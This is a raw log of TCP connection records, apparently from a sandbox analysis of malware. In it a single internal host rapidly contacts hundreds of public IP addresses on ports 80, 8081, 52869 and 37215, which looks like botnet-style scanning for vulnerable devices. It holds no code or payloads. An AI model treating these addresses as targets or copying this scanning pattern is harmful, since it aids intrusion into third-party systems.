Jul 20, 2024 23:00:59.937869072 CEST	43964	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.937869072 CEST	55366	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:59.937869072 CEST	50568	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:00:59.937869072 CEST	38628	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:59.937869072 CEST	50568	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:00:59.937869072 CEST	52278	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:59.938631058 CEST	80	50568	88.14.96.78	192.168.2.13
Jul 20, 2024 23:00:59.938946009 CEST	80	50568	88.153.84.250	192.168.2.13
Jul 20, 2024 23:00:59.938972950 CEST	80	50568	88.148.171.224	192.168.2.13
Jul 20, 2024 23:00:59.939095974 CEST	50568	80	192.168.2.13	88.166.139.182
Jul 20, 2024 23:00:59.939095974 CEST	50568	80	192.168.2.13	88.88.174.225
Jul 20, 2024 23:00:59.939446926 CEST	50568	80	192.168.2.13	88.76.11.105
Jul 20, 2024 23:00:59.939446926 CEST	50568	80	192.168.2.13	88.56.91.131
Jul 20, 2024 23:00:59.939446926 CEST	50568	80	192.168.2.13	88.77.110.197
Jul 20, 2024 23:00:59.939446926 CEST	50568	80	192.168.2.13	88.13.173.133
Jul 20, 2024 23:00:59.939446926 CEST	50568	80	192.168.2.13	88.44.88.2
Jul 20, 2024 23:00:59.939446926 CEST	50568	80	192.168.2.13	88.140.19.134
Jul 20, 2024 23:00:59.939446926 CEST	39056	52869	192.168.2.13	204.46.251.166
Jul 20, 2024 23:00:59.939510107 CEST	33222	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:59.939510107 CEST	55320	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:59.939510107 CEST	40490	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:59.939510107 CEST	58356	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.939510107 CEST	51708	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.939510107 CEST	50568	80	192.168.2.13	88.6.208.198
Jul 20, 2024 23:00:59.939510107 CEST	50568	80	192.168.2.13	88.116.32.191
Jul 20, 2024 23:00:59.939510107 CEST	50568	80	192.168.2.13	88.145.242.252
Jul 20, 2024 23:00:59.939620018 CEST	80	50568	88.184.56.33	192.168.2.13
Jul 20, 2024 23:00:59.939898968 CEST	80	50568	88.184.33.81	192.168.2.13
Jul 20, 2024 23:00:59.940049887 CEST	80	50568	88.137.117.85	192.168.2.13
Jul 20, 2024 23:00:59.940334082 CEST	80	50568	88.100.173.127	192.168.2.13
Jul 20, 2024 23:00:59.940346956 CEST	80	55180	88.253.118.70	192.168.2.13
Jul 20, 2024 23:00:59.940407991 CEST	55180	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.940577030 CEST	80	50568	88.210.2.48	192.168.2.13
Jul 20, 2024 23:00:59.940589905 CEST	80	46392	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:59.940588951 CEST	50568	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:00:59.940588951 CEST	60806	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.940588951 CEST	59148	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.940588951 CEST	50568	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:00:59.940588951 CEST	50568	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:00:59.940588951 CEST	50568	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:00:59.940588951 CEST	50568	80	192.168.2.13	88.54.128.234
Jul 20, 2024 23:00:59.940588951 CEST	50568	80	192.168.2.13	88.146.90.18
Jul 20, 2024 23:00:59.940713882 CEST	80	50568	88.53.100.122	192.168.2.13
Jul 20, 2024 23:00:59.940809011 CEST	54540	52869	192.168.2.13	163.209.94.25
Jul 20, 2024 23:00:59.941044092 CEST	43562	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:00:59.941310883 CEST	80	50568	88.39.58.71	192.168.2.13
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.54.190.39
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.19.70.223
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.112.165.199
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.163.141.131
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.79.201.51
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.10.196.220
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.29.188.217
Jul 20, 2024 23:00:59.941405058 CEST	50568	80	192.168.2.13	88.74.20.77
Jul 20, 2024 23:00:59.941788912 CEST	50568	80	192.168.2.13	88.146.110.20
Jul 20, 2024 23:00:59.941788912 CEST	56376	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:00:59.941788912 CEST	54880	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.941790104 CEST	50568	80	192.168.2.13	88.157.124.72
Jul 20, 2024 23:00:59.941873074 CEST	80	50568	88.137.150.220	192.168.2.13
Jul 20, 2024 23:00:59.941885948 CEST	80	50568	88.173.230.92	192.168.2.13
Jul 20, 2024 23:00:59.942214012 CEST	80	50568	88.176.148.233	192.168.2.13
Jul 20, 2024 23:00:59.942289114 CEST	51014	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:00:59.942289114 CEST	50568	80	192.168.2.13	88.103.209.10
Jul 20, 2024 23:00:59.942289114 CEST	50568	80	192.168.2.13	88.55.60.63
Jul 20, 2024 23:00:59.942290068 CEST	50568	80	192.168.2.13	88.54.238.118
Jul 20, 2024 23:00:59.942290068 CEST	50568	80	192.168.2.13	88.14.96.78
Jul 20, 2024 23:00:59.942290068 CEST	50568	80	192.168.2.13	88.153.84.250
Jul 20, 2024 23:00:59.942290068 CEST	50568	80	192.168.2.13	88.148.171.224
Jul 20, 2024 23:00:59.942290068 CEST	50568	80	192.168.2.13	88.184.56.33
Jul 20, 2024 23:00:59.942373037 CEST	80	50568	88.226.184.145	192.168.2.13
Jul 20, 2024 23:00:59.942656994 CEST	50568	80	192.168.2.13	88.184.33.81
Jul 20, 2024 23:00:59.942656994 CEST	49026	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.942656994 CEST	49026	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.942656994 CEST	50568	80	192.168.2.13	88.137.117.85
Jul 20, 2024 23:00:59.942656994 CEST	50568	80	192.168.2.13	88.100.173.127
Jul 20, 2024 23:00:59.942656994 CEST	50568	80	192.168.2.13	88.210.2.48
Jul 20, 2024 23:00:59.942656994 CEST	50568	80	192.168.2.13	88.53.100.122
Jul 20, 2024 23:00:59.942656994 CEST	50568	80	192.168.2.13	88.39.58.71
Jul 20, 2024 23:00:59.942985058 CEST	50568	80	192.168.2.13	88.137.150.220
Jul 20, 2024 23:00:59.942985058 CEST	50568	80	192.168.2.13	88.173.230.92
Jul 20, 2024 23:00:59.942985058 CEST	50568	80	192.168.2.13	88.176.148.233
Jul 20, 2024 23:00:59.942985058 CEST	50568	80	192.168.2.13	88.226.184.145
Jul 20, 2024 23:00:59.943645000 CEST	49334	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.943656921 CEST	80	53550	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:59.943696976 CEST	53550	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.943722010 CEST	80	36468	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:59.943734884 CEST	80	41770	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:59.943770885 CEST	36468	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:59.943770885 CEST	41770	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.943883896 CEST	80	42258	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:59.943897009 CEST	80	44208	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.943908930 CEST	80	58976	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:59.944000959 CEST	42258	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.944000959 CEST	44208	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.944000959 CEST	58976	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.944020033 CEST	80	52458	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:59.944031000 CEST	80	60152	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:59.944056034 CEST	52458	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.944124937 CEST	80	44284	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:59.944137096 CEST	80	40424	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:59.944148064 CEST	80	40808	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:59.944159985 CEST	80	48954	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.944168091 CEST	44284	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.944168091 CEST	40424	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.944173098 CEST	80	47080	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:59.944255114 CEST	60152	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.944521904 CEST	40808	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.944521904 CEST	48954	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.944523096 CEST	47080	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.944617987 CEST	80	46686	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:59.944636106 CEST	35338	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:00:59.945553064 CEST	47020	52869	192.168.2.13	89.116.1.211
Jul 20, 2024 23:00:59.945718050 CEST	52869	39056	204.46.251.166	192.168.2.13
Jul 20, 2024 23:00:59.945863008 CEST	39056	52869	192.168.2.13	204.46.251.166
Jul 20, 2024 23:00:59.946119070 CEST	52869	54540	163.209.94.25	192.168.2.13
Jul 20, 2024 23:00:59.946131945 CEST	8081	43562	135.188.25.100	192.168.2.13
Jul 20, 2024 23:00:59.946261883 CEST	54540	52869	192.168.2.13	163.209.94.25
Jul 20, 2024 23:00:59.946261883 CEST	43562	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:00:59.946948051 CEST	8081	56376	141.23.130.76	192.168.2.13
Jul 20, 2024 23:00:59.947088957 CEST	56376	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:00:59.947185993 CEST	80	54880	88.253.118.70	192.168.2.13
Jul 20, 2024 23:00:59.947263956 CEST	8081	51014	105.250.179.123	192.168.2.13
Jul 20, 2024 23:00:59.947307110 CEST	51014	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:00:59.948179007 CEST	80	49026	88.221.47.36	192.168.2.13
Jul 20, 2024 23:00:59.949024916 CEST	80	49334	88.221.47.36	192.168.2.13
Jul 20, 2024 23:00:59.949067116 CEST	49334	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.949520111 CEST	41350	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:59.949521065 CEST	41350	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:59.949780941 CEST	8081	35338	119.52.87.11	192.168.2.13
Jul 20, 2024 23:00:59.949820995 CEST	35338	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:00:59.950659990 CEST	52869	47020	89.116.1.211	192.168.2.13
Jul 20, 2024 23:00:59.950804949 CEST	47020	52869	192.168.2.13	89.116.1.211
Jul 20, 2024 23:00:59.950913906 CEST	35646	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:00:59.952195883 CEST	37530	52869	192.168.2.13	122.167.75.170
Jul 20, 2024 23:00:59.953790903 CEST	80	49026	88.221.47.36	192.168.2.13
Jul 20, 2024 23:00:59.953921080 CEST	49026	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.954489946 CEST	80	41350	88.39.169.246	192.168.2.13
Jul 20, 2024 23:00:59.955638885 CEST	41666	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:59.956142902 CEST	8081	35646	85.247.110.68	192.168.2.13
Jul 20, 2024 23:00:59.956208944 CEST	35646	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:00:59.956341982 CEST	80	41938	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:59.956377029 CEST	42722	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:00:59.956480980 CEST	41938	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.957324028 CEST	52869	37530	122.167.75.170	192.168.2.13
Jul 20, 2024 23:00:59.957366943 CEST	37530	52869	192.168.2.13	122.167.75.170
Jul 20, 2024 23:00:59.958674908 CEST	43308	52869	192.168.2.13	104.26.83.71
Jul 20, 2024 23:00:59.961074114 CEST	80	41666	88.39.169.246	192.168.2.13
Jul 20, 2024 23:00:59.961126089 CEST	41666	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:59.961868048 CEST	8081	42722	147.230.135.122	192.168.2.13
Jul 20, 2024 23:00:59.961915970 CEST	42722	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:00:59.962229013 CEST	44256	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:00:59.964406013 CEST	80	51470	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:59.964514017 CEST	51470	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.964637995 CEST	48954	52869	192.168.2.13	162.160.111.35
Jul 20, 2024 23:00:59.964684010 CEST	52869	43308	104.26.83.71	192.168.2.13
Jul 20, 2024 23:00:59.964735985 CEST	43308	52869	192.168.2.13	104.26.83.71
Jul 20, 2024 23:00:59.965553045 CEST	33436	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:00:59.966808081 CEST	51456	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:00:59.968591928 CEST	8081	44256	27.125.93.236	192.168.2.13
Jul 20, 2024 23:00:59.968801022 CEST	44256	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:00:59.969930887 CEST	52869	48954	162.160.111.35	192.168.2.13
Jul 20, 2024 23:00:59.970108032 CEST	48954	52869	192.168.2.13	162.160.111.35
Jul 20, 2024 23:00:59.970889091 CEST	80	33436	88.180.99.105	192.168.2.13
Jul 20, 2024 23:00:59.970953941 CEST	33436	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:00:59.970953941 CEST	38186	52869	192.168.2.13	154.157.246.72
Jul 20, 2024 23:00:59.972516060 CEST	80	41478	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:59.972596884 CEST	41478	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.973067999 CEST	8081	51456	76.141.184.226	192.168.2.13
Jul 20, 2024 23:00:59.973110914 CEST	51456	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:00:59.973149061 CEST	33180	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:00:59.975974083 CEST	52869	38186	154.157.246.72	192.168.2.13
Jul 20, 2024 23:00:59.976012945 CEST	38186	52869	192.168.2.13	154.157.246.72
Jul 20, 2024 23:00:59.976876020 CEST	33936	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:00:59.977415085 CEST	60658	52869	192.168.2.13	180.57.201.161
Jul 20, 2024 23:00:59.977742910 CEST	80	46686	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:59.977777958 CEST	35360	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:00:59.977874041 CEST	46686	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.978692055 CEST	8081	33180	18.15.144.190	192.168.2.13
Jul 20, 2024 23:00:59.978738070 CEST	33180	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:00:59.982590914 CEST	80	33936	88.194.165.251	192.168.2.13
Jul 20, 2024 23:00:59.982604980 CEST	52869	60658	180.57.201.161	192.168.2.13
Jul 20, 2024 23:00:59.982640982 CEST	49284	52869	192.168.2.13	103.233.66.3
Jul 20, 2024 23:00:59.982683897 CEST	60658	52869	192.168.2.13	180.57.201.161
Jul 20, 2024 23:00:59.982745886 CEST	33936	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:00:59.982866049 CEST	8081	35360	211.23.10.210	192.168.2.13
Jul 20, 2024 23:00:59.982980967 CEST	35360	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:00:59.982980967 CEST	43834	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:00:59.987035036 CEST	51950	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:00:59.988092899 CEST	52869	49284	103.233.66.3	192.168.2.13
Jul 20, 2024 23:00:59.988105059 CEST	8081	43834	207.193.20.97	192.168.2.13
Jul 20, 2024 23:00:59.988179922 CEST	49284	52869	192.168.2.13	103.233.66.3
Jul 20, 2024 23:00:59.988181114 CEST	43834	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:00:59.988805056 CEST	37466	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:00:59.990284920 CEST	52134	52869	192.168.2.13	58.55.6.110
Jul 20, 2024 23:00:59.992557049 CEST	80	51950	88.74.83.5	192.168.2.13
Jul 20, 2024 23:00:59.992630005 CEST	51950	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:00:59.993808031 CEST	8081	37466	191.100.108.229	192.168.2.13
Jul 20, 2024 23:00:59.993844986 CEST	37466	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:00:59.995309114 CEST	34298	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:00:59.995343924 CEST	52869	52134	58.55.6.110	192.168.2.13
Jul 20, 2024 23:00:59.995505095 CEST	52134	52869	192.168.2.13	58.55.6.110
Jul 20, 2024 23:00:59.996123075 CEST	42138	52869	192.168.2.13	39.238.204.107
Jul 20, 2024 23:00:59.997055054 CEST	80	41350	88.39.169.246	192.168.2.13
Jul 20, 2024 23:00:59.999397993 CEST	58788	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:00.000370979 CEST	38268	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:00.000375032 CEST	8081	34298	14.129.83.80	192.168.2.13
Jul 20, 2024 23:01:00.000523090 CEST	34298	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:01:00.002249956 CEST	52869	42138	39.238.204.107	192.168.2.13
Jul 20, 2024 23:01:00.002300978 CEST	42138	52869	192.168.2.13	39.238.204.107
Jul 20, 2024 23:01:00.002896070 CEST	50584	52869	192.168.2.13	162.120.56.216
Jul 20, 2024 23:01:00.006510973 CEST	47008	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:00.007563114 CEST	80	58788	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:00.007589102 CEST	8081	38268	79.65.232.86	192.168.2.13
Jul 20, 2024 23:01:00.007713079 CEST	58788	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:00.007713079 CEST	38268	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:00.008579969 CEST	37400	52869	192.168.2.13	119.44.232.241
Jul 20, 2024 23:01:00.008917093 CEST	52869	50584	162.120.56.216	192.168.2.13
Jul 20, 2024 23:01:00.008960962 CEST	50584	52869	192.168.2.13	162.120.56.216
Jul 20, 2024 23:01:00.009166956 CEST	42722	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:00.010256052 CEST	38432	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:00.012769938 CEST	8081	47008	24.253.166.170	192.168.2.13
Jul 20, 2024 23:01:00.012840033 CEST	47008	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:00.013680935 CEST	45114	52869	192.168.2.13	40.11.215.79
Jul 20, 2024 23:01:00.014997005 CEST	52869	37400	119.44.232.241	192.168.2.13
Jul 20, 2024 23:01:00.015063047 CEST	37400	52869	192.168.2.13	119.44.232.241
Jul 20, 2024 23:01:00.015093088 CEST	37736	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:00.015885115 CEST	80	42722	88.2.59.118	192.168.2.13
Jul 20, 2024 23:01:00.016046047 CEST	42722	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:00.016763926 CEST	8081	38432	13.185.79.229	192.168.2.13
Jul 20, 2024 23:01:00.016805887 CEST	38432	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:00.017937899 CEST	50570	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:00.018536091 CEST	49766	52869	192.168.2.13	164.103.95.95
Jul 20, 2024 23:01:00.019139051 CEST	58180	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:00.020217896 CEST	52869	45114	40.11.215.79	192.168.2.13
Jul 20, 2024 23:01:00.020396948 CEST	45114	52869	192.168.2.13	40.11.215.79
Jul 20, 2024 23:01:00.021569014 CEST	8081	37736	117.177.164.2	192.168.2.13
Jul 20, 2024 23:01:00.021608114 CEST	37736	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:00.024712086 CEST	80	50570	88.65.22.95	192.168.2.13
Jul 20, 2024 23:01:00.024766922 CEST	50570	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:00.025600910 CEST	52869	49766	164.103.95.95	192.168.2.13
Jul 20, 2024 23:01:00.025614023 CEST	8081	58180	160.152.72.177	192.168.2.13
Jul 20, 2024 23:01:00.025727034 CEST	49766	52869	192.168.2.13	164.103.95.95
Jul 20, 2024 23:01:00.025727034 CEST	40044	52869	192.168.2.13	219.121.3.137
Jul 20, 2024 23:01:00.025814056 CEST	58180	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:00.026200056 CEST	57000	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:00.028748035 CEST	42842	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:00.030229092 CEST	46960	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:01:00.031774998 CEST	47972	52869	192.168.2.13	64.111.121.228
Jul 20, 2024 23:01:00.032052040 CEST	52869	40044	219.121.3.137	192.168.2.13
Jul 20, 2024 23:01:00.032077074 CEST	8081	57000	37.95.21.201	192.168.2.13
Jul 20, 2024 23:01:00.032097101 CEST	40044	52869	192.168.2.13	219.121.3.137
Jul 20, 2024 23:01:00.032464981 CEST	57000	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:00.033745050 CEST	80	42842	88.129.108.32	192.168.2.13
Jul 20, 2024 23:01:00.033813000 CEST	42842	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:00.035717964 CEST	8081	46960	104.121.55.224	192.168.2.13
Jul 20, 2024 23:01:00.035762072 CEST	46960	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:01:00.036293030 CEST	53442	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:00.036812067 CEST	52869	47972	64.111.121.228	192.168.2.13
Jul 20, 2024 23:01:00.036848068 CEST	47972	52869	192.168.2.13	64.111.121.228
Jul 20, 2024 23:01:00.037039995 CEST	38834	52869	192.168.2.13	130.206.211.129
Jul 20, 2024 23:01:00.039716005 CEST	43160	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:00.041237116 CEST	41150	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:00.041812897 CEST	8081	53442	172.169.195.21	192.168.2.13
Jul 20, 2024 23:01:00.041960001 CEST	53442	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:00.043040037 CEST	52869	38834	130.206.211.129	192.168.2.13
Jul 20, 2024 23:01:00.043081045 CEST	38834	52869	192.168.2.13	130.206.211.129
Jul 20, 2024 23:01:00.044408083 CEST	60064	52869	192.168.2.13	62.204.49.132
Jul 20, 2024 23:01:00.045927048 CEST	80	43160	88.212.216.208	192.168.2.13
Jul 20, 2024 23:01:00.045969963 CEST	43160	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:00.047307014 CEST	8081	41150	217.32.72.67	192.168.2.13
Jul 20, 2024 23:01:00.047451973 CEST	41150	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:00.048500061 CEST	54362	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:00.051400900 CEST	44850	52869	192.168.2.13	160.89.205.146
Jul 20, 2024 23:01:00.052459002 CEST	57070	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:00.053031921 CEST	52869	60064	62.204.49.132	192.168.2.13
Jul 20, 2024 23:01:00.053108931 CEST	60064	52869	192.168.2.13	62.204.49.132
Jul 20, 2024 23:01:00.053450108 CEST	48984	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:00.055826902 CEST	8081	54362	116.20.21.221	192.168.2.13
Jul 20, 2024 23:01:00.056358099 CEST	54362	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:00.056390047 CEST	52869	44850	160.89.205.146	192.168.2.13
Jul 20, 2024 23:01:00.056435108 CEST	44850	52869	192.168.2.13	160.89.205.146
Jul 20, 2024 23:01:00.057018995 CEST	40114	52869	192.168.2.13	4.26.18.222
Jul 20, 2024 23:01:00.057833910 CEST	80	57070	88.165.239.52	192.168.2.13
Jul 20, 2024 23:01:00.058017969 CEST	57070	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:00.058427095 CEST	8081	48984	100.51.24.79	192.168.2.13
Jul 20, 2024 23:01:00.058490992 CEST	48984	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:00.058574915 CEST	40416	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:00.062185049 CEST	52869	40114	4.26.18.222	192.168.2.13
Jul 20, 2024 23:01:00.062225103 CEST	40114	52869	192.168.2.13	4.26.18.222
Jul 20, 2024 23:01:00.062423944 CEST	37700	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:00.063241959 CEST	41122	52869	192.168.2.13	57.30.119.39
Jul 20, 2024 23:01:00.063661098 CEST	8081	40416	144.158.148.160	192.168.2.13
Jul 20, 2024 23:01:00.063694954 CEST	50563	37215	192.168.2.13	90.118.180.212
Jul 20, 2024 23:01:00.063714027 CEST	50563	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:00.063747883 CEST	42572	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:00.063747883 CEST	50563	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:00.063802958 CEST	50563	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:00.063802958 CEST	50563	37215	192.168.2.13	197.94.251.61
Jul 20, 2024 23:01:00.063827991 CEST	50563	37215	192.168.2.13	197.137.132.163
Jul 20, 2024 23:01:00.063838005 CEST	50563	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:00.063863993 CEST	50563	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:00.063863993 CEST	50563	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:00.064013958 CEST	50563	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:00.064013958 CEST	50563	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:00.064157009 CEST	50563	37215	192.168.2.13	41.215.54.255
Jul 20, 2024 23:01:00.064167023 CEST	50563	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:00.064167023 CEST	50563	37215	192.168.2.13	157.200.28.48
Jul 20, 2024 23:01:00.064213991 CEST	50563	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:00.064213991 CEST	50563	37215	192.168.2.13	157.125.89.203
Jul 20, 2024 23:01:00.064213991 CEST	50563	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:00.064260960 CEST	50563	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:00.064363003 CEST	50563	37215	192.168.2.13	41.171.233.155
Jul 20, 2024 23:01:00.064599037 CEST	40416	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:00.064599037 CEST	50563	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:00.064599037 CEST	50563	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:00.064599037 CEST	50563	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:00.064599037 CEST	50563	37215	192.168.2.13	197.170.0.226
Jul 20, 2024 23:01:00.064671040 CEST	50563	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:00.064671040 CEST	50563	37215	192.168.2.13	111.163.203.195
Jul 20, 2024 23:01:00.064671040 CEST	50563	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:00.064671993 CEST	50563	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:00.064671993 CEST	50563	37215	192.168.2.13	157.38.182.214
Jul 20, 2024 23:01:00.064671993 CEST	50563	37215	192.168.2.13	41.190.198.11
Jul 20, 2024 23:01:00.064862967 CEST	50563	37215	192.168.2.13	157.18.137.5
Jul 20, 2024 23:01:00.064935923 CEST	50563	37215	192.168.2.13	197.186.137.146
Jul 20, 2024 23:01:00.064935923 CEST	50563	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:00.064937115 CEST	50563	37215	192.168.2.13	41.236.26.155
Jul 20, 2024 23:01:00.064937115 CEST	50563	37215	192.168.2.13	157.69.83.103
Jul 20, 2024 23:01:00.064937115 CEST	50563	37215	192.168.2.13	14.117.126.33
